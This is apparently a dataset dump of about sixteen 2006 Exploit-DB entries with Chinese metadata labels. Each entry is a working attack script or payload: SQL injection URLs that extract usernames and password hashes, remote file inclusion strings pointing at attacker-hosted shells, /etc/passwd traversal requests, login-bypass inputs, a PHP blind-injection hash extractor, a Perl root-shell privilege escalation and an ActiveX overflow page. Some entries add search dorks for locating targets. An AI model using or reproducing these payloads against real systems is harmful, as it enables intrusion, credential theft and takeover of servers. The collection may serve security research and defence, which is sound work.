QLWD/code_shield huggingface dataset:
标题: ASPNuke 0.80 - 'register.asp' SQL Injection EDB-ID: 2813 CVE: 2006-6070 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-19 漏洞利用脚本: *******************************************************************************
# Title  :  ASPNuke <= 0.80 (register.asp) Remote SQL Injection Vulnerability
# Author :  ajann
# S.Page :  http://www.aspnuke.com
# D.Page :  http://sourceforge.net/project/showfiles.php?group_id=92470

*******************************************************************************

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
ASP Nuke
Kenneth W. Richards
Orvado Technologies
-Introduction-

ASP Nuke is an open-source software application for running a
community-based web site on a web server.
By open-source, we mean the code is freely available for others to read,
modify and use in accordance
with the software license.
ASP Nuke is an extensible framework that allows you to upgrade and add
applications to the website quickly
and easily. It uses a modular architecture allowing others to rapidly
develop new modules and site operators
to re-organize the layout and navigation for their site.
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

Vulnerability::
_________________

###http://[target]/[path]//module/account/register/register.asp?StateCode=[SQL]&..&..&..&..&..&..&..&..&....

Example = Poll Update

///module/account/register/register.asp?StateCode=0',0,0,0,0,0);update%20tblPoll%20set%20Question%20=%20'hacked'--&FirstName=namename1&LastName=namename2&Username=abcdefghijk&Password=1234567890&Confirm=1234567890&Address1=kro.mahallesi&Address2=kro.apt&City=aaaaaaaaa&ZipCode=101010101&CountryID=0&Email=mailmail@mailbidaamail.com&Action=ADD&_dummy=Register

Note: Change UserName because ; failed:already username dont write.

Some tables,columns
___________________

[tblMember]    |  [FaqQuestion]
MemberID       |  QuestionID
Username       |  DocumentID
Password       |  Question
Firstname      |  Answer
Middlename     |  Active
EmailAddress   |  OrderNo
..             |  ..


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-19] URL: https://www.exploit-db.com/exploits/2813
标题: Powies MatchMaker 4.05 - 'matchdetail.php' SQL Injection EDB-ID: 2798 CVE: 2006-6039 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: #==============================================================================================
#Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.powie.de    
#                                                                     
#Version : v4.05
#
#===============================================================================================
#
#DORK :  "Powie's PSCRIPT MatchMaker 4.05"                                        
#                                                       
#
#Exploit :
#--------------------------------
#
#http://target.com/(path to script)/matchdetail.php?edit=-1 UNION SELECT 0,0,0,pwd,0,0,0,0,0,username,0,0,0,0 FROM pfuser WHERE id=1
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : CaMpA , Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-11-17] URL: https://www.exploit-db.com/exploits/2798
标题: PHPWebThings 1.5.2 - 'editor.php' Remote File Inclusion EDB-ID: 2811 CVE: 2007-3141 2006-6042 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-18 漏洞利用脚本: +-------------------------------------------------------------------------------------------
+ phpWebThings 1.5.2 (editor.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpWebThings 1.5.2
+ Vendor ............: http://www.phpwebthings.nl/
+ Download ..........: http://prdownloads.sourceforge.net/phpwebthings/phpwebthings_1_5_2.zip?download
+ Description .......: "phpWebThings is a Powerful, professional application framework"
+ Dork ..............: "This website was created with phpWebThings"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpWebThings 1.5.2 core/editor.php does not initialize the $editor_insert_bottom variable
+ before using it to include files, assuming register_globals = on, we can initialize the
+ variable in a query string and include a remote file of our choice.
+
+ Vulnerable Code: 
+ core/editor.php, line(s) 289:
+ -> 289: if ($editor_insert_bottom<>"") include($editor_insert_bottom);
+
+ Proof Of Concept:
+ http://[target]/[path]/core/editor.php?editor_insert_bottom=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-11-18] URL: https://www.exploit-db.com/exploits/2811
标题: mxBB Module calsnails 1.06 - 'mx_common.php' File Inclusion EDB-ID: 2799 CVE: 2006-6065 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: ##################################################################
#                                                                #
# mxBB calsnails module 1.06 Remote File Inclusion Vulnerability #
#                                                                #
# Bugfounder: bd0rk || SOH-Crew                                  #
#                                                                #
# Website: www.soh-crew.it.tt                                    #
#                                                                #
# Gr33tings: nukedx, DeeJay, TheJT, str0ke                       #
#                                                                #
##################################################################

Mod-Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=21

Vulnerable Code: include_once($module_root_path . 'includes/cal_settings.'.$phpEx);

[+]Exploit: http://[site]/[path]/includes/mx_common.php?module_root_path=http://Y0urSh3LL?

# milw0rm.com [2006-11-17] URL: https://www.exploit-db.com/exploits/2799
标题: HTTP Upload Tool - 'download.php' Information Disclosure EDB-ID: 2791 CVE: 2006-7134 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-16 漏洞利用脚本: #######################################################################################
# Target:
#
#       HTTP Upload Tool For PHP 1.0
#       http://uploadtool.sourceforge.net/
#
# Vulnerability:
#
#       Information disclosure
#
# Description:
#
#       The download.php file in Upload Tool for PHP neither verifies that a
#       requestor has authenticated, nor performs any sanity checking on the file
#       being requested. This allows an unauthenticated user to download any file
#       which the web server has read rights to, including the users.conf file which
#       contains a list of Upload Tool's users and their hashed passwords.
#
# Vulnerable Code (truncated):
#
#       $filename = $_GET['filename'];
#       readfile("$filename");
#
# Exploit:
#
#       http://www.examplesite.com/upload/bin/download.php?filename=../conf/users.conf
#       http://www.examplesite.com/upload/bin/download.php?filename=/etc/passwd
#
# Discovered:
#
#       Craig Heffner
#       heffnercj [at] gmail.com
#       http://www.craigheffner.com
#######################################################################################

# milw0rm.com [2006-11-16] URL: https://www.exploit-db.com/exploits/2791
标题: Oxygen 1.1.3 (O2PHP Bulletin Board) - SQL Injection EDB-ID: 2810 CVE: 2006-6280 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-18 漏洞利用脚本: #!/usr/bin/php
<?

if($argc<4){
 print("
 -------------------------------------------------------
 Affected.scr..: Oxygen <= 1.1.3 (O2PHP Bulletin Board)
 Poc.ID........: 14061118
 Type..........: SQL Injection
 Risk.level....: Medium
 Conditions....: register_globals = on
 Src.download..: download.o2php.com
 Poc.link......: acid-root.new.fr/poc/14061118.txt
 Credits.......: DarkFig
 Note..........: FOR EDUCATIONAL PURPOSE ONLY
 -------------------------------------------------------
 Usage.........: php 14061118.txt <host> <path> <userid>
 -------------------------------------------------------\n");
 exit(1);
}

print "\n Please be patient (max=736 hits)...\n MD5: ";
$host = !preg_match("/^http:\/\/(\S*)/",$argv[1],$hwttp) ? $argv[1] : $hwttp[1];
$path = $argv[2];
$usid = intval($argv[3]);
$tabl = "o2_members";

for($x=1;  $x<=32; $x++) {
for($y=48; $y<=71; $y++) {

$recv  = '';
$sqli  = "%20UNION%20SELECT%201,1%20FROM%20".$tabl."%20WHERE%20uid=".$usid."%20AND%20substr(password,".$x.",1)=char(".$y.")%23";
$data  = "GET ".$path."viewthread.php?tid=1&pid=-1".$sqli." HTTP/1.1 \r\n";
$data .= "Host: $host\r\n";
$data .= "Connection: Close\r\n\r\n";

if(!$sock  = @fsockopen($host, 80)) die("Connection problem\n");
fputs($sock, $data);

while(!feof($sock)) $recv .= fgets($sock);
fclose($sock);

if(preg_match("/Location: viewthread.php/", $recv)) {
  print strtolower(chr($y));
  break;
} elseif($y == 71) {
  print "Not vulnerable\n";
  exit(1);

}}}

print "\n";
exit(0);

?>

# milw0rm.com [2006-11-18] URL: https://www.exploit-db.com/exploits/2810
标题: Powies pForum 1.29a - 'editpoll.php' SQL Injection EDB-ID: 2797 CVE: 2006-6038 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: #==============================================================================================
#Powie's PHP Forum <= v1.29a (editpoll) Remote SQL Injection Exploit
#===============================================================================================
#                                                                     
#Critical Level : Dangerous                                           
#                                                                     
#Venedor site : http://www.powie.de    
#                                                                     
#Version : v1.29a
#
#===============================================================================================
#
#DORK : "pForum 1.29a"  // ""Powie's PSCRIPT Forum 1.26"                                        
#                                                       
#
#Exploit :
#--------------------------------
#
#FOR USER : editpoll.php?id=-1 UNION SELECT null,null,username,null FROM pfuser where id=1
#FOR PASS : editpoll.php?id=-1 UNION SELECT null,null,pwd,null FROM pfuser where id=1
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#Thx To : Str0ke & SuperRomio & XoRon & MDx & Simo
# sPECial THanks to : CaMpA , Coder-AZH@CKTEAM
==================================================================================================

# milw0rm.com [2006-11-17] URL: https://www.exploit-db.com/exploits/2797
标题: DoSePa 1.0.4 - 'textview.php' Information Disclosure EDB-ID: 2795 CVE: 2006-6028 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: #######################################################################################
# Target:
#
#       DoSePa 1.0.4 (textview.php)
#       http://sourceforge.net/project/showfiles.php?group_id=91686
#
# Vulnerability:
#
#       Information disclosure.
#
# Description:
#
#       The textview.php page in DoSePa does not properly sanitize the $_GET['file']
#       value; this allows an attacker to view any file to which the server has
#       read rights.
#
# Vulnerable Code (truncated):
#
#       $file=$_GET['file'];
#       file_get_contents($file);
#
# Exploit:
#
#       http://dosepa.somesite.com/textview.php?file=/etc/passwd
#
# Discovery:
#
#       Craig Heffner
#       heffnercj [at] gmail.com
#       http://www.craigheffner.com
#######################################################################################

# milw0rm.com [2006-11-17] URL: https://www.exploit-db.com/exploits/2795
标题: Dicshunary 0.1a - 'check_status.php' Remote File Inclusion EDB-ID: 2808 CVE: 2006-6281 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: **********************************************************************************************************
                                              WwW.Deltahacking.NeT (Priv8  Site)
                                              WwW.Deltahacking.Ir    (Public Site)
**********************************************************************************************************

* Portal Name :dicshunary 0.1 alpha

* Class = Remote File Inclusion ;
 
* Download =http://puzzle.dl.sourceforge.net/sourceforge/dicshunary/dicshunary_0.1alpha.tar.gz

* Found by = DeltahackingTEAM

* User In Delta Team (TAnha & Dr.Pantagon )

--------------------------------------------------------------------------------------------

--------------
- Vulnerable Code

include_once($dicshunary_root_path.'common.inc');

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:


    http://[target]/[path]/check_status.php?dicshunary_root_path=http://evilsite.com/shell?


--------------------------------------------------------------------------------------------

--------------

SP TNX : Tanha, Dr.Trojan , Hiv++ , D_7j ,Vpc,

**********************************************************************************************************

# milw0rm.com [2006-11-17] URL: https://www.exploit-db.com/exploits/2808
标题: mg.applanix 1.3.1 - 'apx_root_path' Remote File Inclusion EDB-ID: 2794 CVE: 2006-6341 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-17 漏洞利用脚本: #########################################################################################
###################################v1per-haCker##########################################
######################How I Can lives Without FooL Programmer!###########################
#########################################################################################
#=======================================================================================#
#___________________________________mg.applanix (RFI)___________________________________#
#=======================================================================================#
# Information:-          #
#           #
# Scripts: mg.applanix         #
# download : http://freshmeat.net/redir/applanix/38915/url_zip/mg.applanix_1.3.1.zip #
# Version : 1.3.1         #
# Dork & vuln : download script and think :)      #
#           #
#=======================================================================================#
# Exploit :          #
#           #
#http://localhost/path/act/act_check_access.php?apx_root_path=http://EvElCoDe.txt? #
#http://localhost/path/dsp/dsp_form_booking_ctl.php?apx_root_path=http://EvElCoDe.txt? #
#http://localhost/path/dsp/dsp_bookings.php?apx_root_path=http://EvElCoDe.txt?  #
#           #
#=======================================================================================#
# Discoverd By : v1per-haCker        #
#           #
# Conatact : v1per-hacker[at]hotmail.com      #
#           #
# XP10_hackEr Team  >> www.xp10.com     #
# SpeciaL PoweR SecuritY TeaM >> www.specialpower.org    #
#           #
# Greetz to : | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL  |   #
#  | ThE-WoLf-KsA | mohandko | fooooz | maVen | ShikAa | K3BAB |  #
#  | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota   |  #
#  | MainstreaM | CoDeR | Simo-64 | Super-CrystaL | KoolholiO  |   #
#  |  MuhaciR  |Skrmhcr-GVinux | Jean | fucker_net | Sir-ToTTi |  #
#               #
# Thanks >> /str0ke & www.milw0rm.com & www.google.com    #
#=======================================================================================#
#########################################################################################
#################################L0ve is L1fe W0und3r####################################
#########################################################################################

# milw0rm.com [2006-11-17] URL: https://www.exploit-db.com/exploits/2794
标题: Kerio WebSTAR 5.4.2 (OSX) - 'libucache.dylib' Local Privilege Escalation EDB-ID: 2788 CVE: 2006-6131 类型: LOCAL 平台: OSX 发布日期: 2006-11-15 漏洞利用脚本: #!/usr/bin/perl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com)
#
# you must have access to the webstar user or be in the admin group
#
# This is currently not patched... chmod -s your kerio binaries

foreach $key (keys %ENV) {

   delete $ENV{$key};

}

$tgts{"0"} = "kerio-webstar-5.4.2-mac.bin - WSAdminServer:/Applications/Kerio WebSTAR/AdminServer/WSAdminServer";
$tgts{"1"} = "kerio-webstar-5.4.2-mac.bin - WSWebServer:/Applications/Kerio WebSTAR/WebServer/WSWebServer";

unless (($target) = @ARGV) {

       print "\n\nUsage: $0 <target> \n\nTargets:\n\n";

       foreach $key (sort(keys %tgts)) {
               ($a,$b) = split(/\:/,$tgts{"$key"});
               print "\t$key . $a\n";
       }

       print "\n";
       exit 1;
}

$ret = pack("l", ($retval));
($a,$b) = split(/\:/,$tgts{"$target"});
print "*** Target: $a, Binary: $b\n";

open(KP,">/tmp/kerio_pwn.c");
printf KP "extern char * argv; __attribute__((constructor)) static void kerio_pwned()\n";
printf KP "{ seteuid(0); setegid(0); setuid(0); setgid(0); system(\"/bin/sh -i\"); exit(0); }\n";

system("gcc -dynamiclib -o /tmp/libucache.dylib /tmp/kerio_pwn.c -current_version 5.0.1 -compatibility_version 5.0.1 -install_name libucache.5.dylib -arch ppc");

system("cd /tmp; \"$b\"");

# milw0rm.com [2006-11-15] URL: https://www.exploit-db.com/exploits/2788
标题: PHPPeanuts 1.3 Beta - 'Inspect.php' Remote File Inclusion EDB-ID: 2778 CVE: 2006-5948 类型: WEBAPPS 平台: PHP 发布日期: 2006-11-14 漏洞利用脚本: .:: Preface ::.

Type     : Remote File Include
Scripts     : Phppeanuts 1.1
Download : http://scripts.ringsworld.com/development-tools/phppeanuts-1-1.zip
Founder  : Hidayat Sagita aka bomm_3x
Contact  : hidayat.sagita[at]gmail[dot]com

.:: What ? ::.

In Inspect.php file on line :

4. if ( isSet($_REQUEST["Include"]) )
5.     include $_REQUEST["Include"];

Variable "Include" not verified first before being used.

.:: Proof Of Concept ::.

http://site/[phppeanuts_path]/pntUnit/Inspect.php?Include=http://yoursite/evil_code.txt ?

.:: Shoutz ::.

eCHo staff, az001 and All newbz.

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2778
标题: blogme 3.0 - Cross-Site Scripting / Authentication Bypass EDB-ID: 2781 CVE: 2006-5976 2006-5975 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: blogme v3 [admin login bypass & xss (post)]
vendor site:http://www.drumster.net/
product:blogme v3
bug:login bypass & xss (post)
risk:high


admin login bypass :
user : ' or '1' = '1
passwd:  1'='1' ro '

xss post :
in: /comments.asp?blog=85  
vulnerables fields:
- Name 
- URL
- Comments


laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2781
标题: ASP Smiley 1.0 - 'default.asp' Authentication Bypass / SQL Injection EDB-ID: 2779 CVE: 2006-5952 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: *******************************************************************************
# Title  :  ASP Smiley v1.0 (default.asp) Remote Login ByPass SQL Injection Vulnerability
# Author :   ajann

*******************************************************************************
Example:

###http://[target]/[path]/admin/

UserName: ' union select 0,0,0,0,0,0,0,0 from categories


"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2779
标题: Hpecs Shopping Cart - Remote Authentication Bypass EDB-ID: 2782 CVE: 2006-5962 类型: WEBAPPS 平台: ASP 发布日期: 2006-11-14 漏洞利用脚本: vendor site:http://hpe.net/
product:hpecs shopping cart
bug:injection sql
risk:high


login bypass :
username:     'or''='
passwd:       'or''='

injection sql (post) :

http://site.com/search_list.asp
variables:
Hpecs_Find=maingroup&searchstring='[sql]
 ( or just post your query in the search engine ... )

laurent gaffié & benjamin mossé
http://s-a-p.ca/
contact: saps.audit@gmail.com

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2782
标题: WinZip 10.0.7245 - FileView ActiveX Control Stack Overflow (PoC) EDB-ID: 2783 CVE: 2006-6884 类型: DOS 平台: WINDOWS 发布日期: 2006-11-14 漏洞利用脚本: <!--
WinZip FileView ActiveX Control Unsafe Method Exposure Vulnerability
-- prdelka
-->

<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
    <SCRIPT LANGUAGE="VBScript">
<!--
Sub WZFILEVIEW_OnAfterItemAdd(Item)
WZFILEVIEW.FilePattern = 

"STACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBAS

EDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLO

WSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOWSTACKBASEDOVERFLOW"
end sub
-->
    </SCRIPT>
    <OBJECT ID="WZFILEVIEW" WIDTH=200 HEIGHT=200
     CLASSID="CLSID:A09AE68F-B14D-43ED-B713-BA413F034904">
    </OBJECT>
</BODY>
</HTML>

# milw0rm.com [2006-11-14] URL: https://www.exploit-db.com/exploits/2783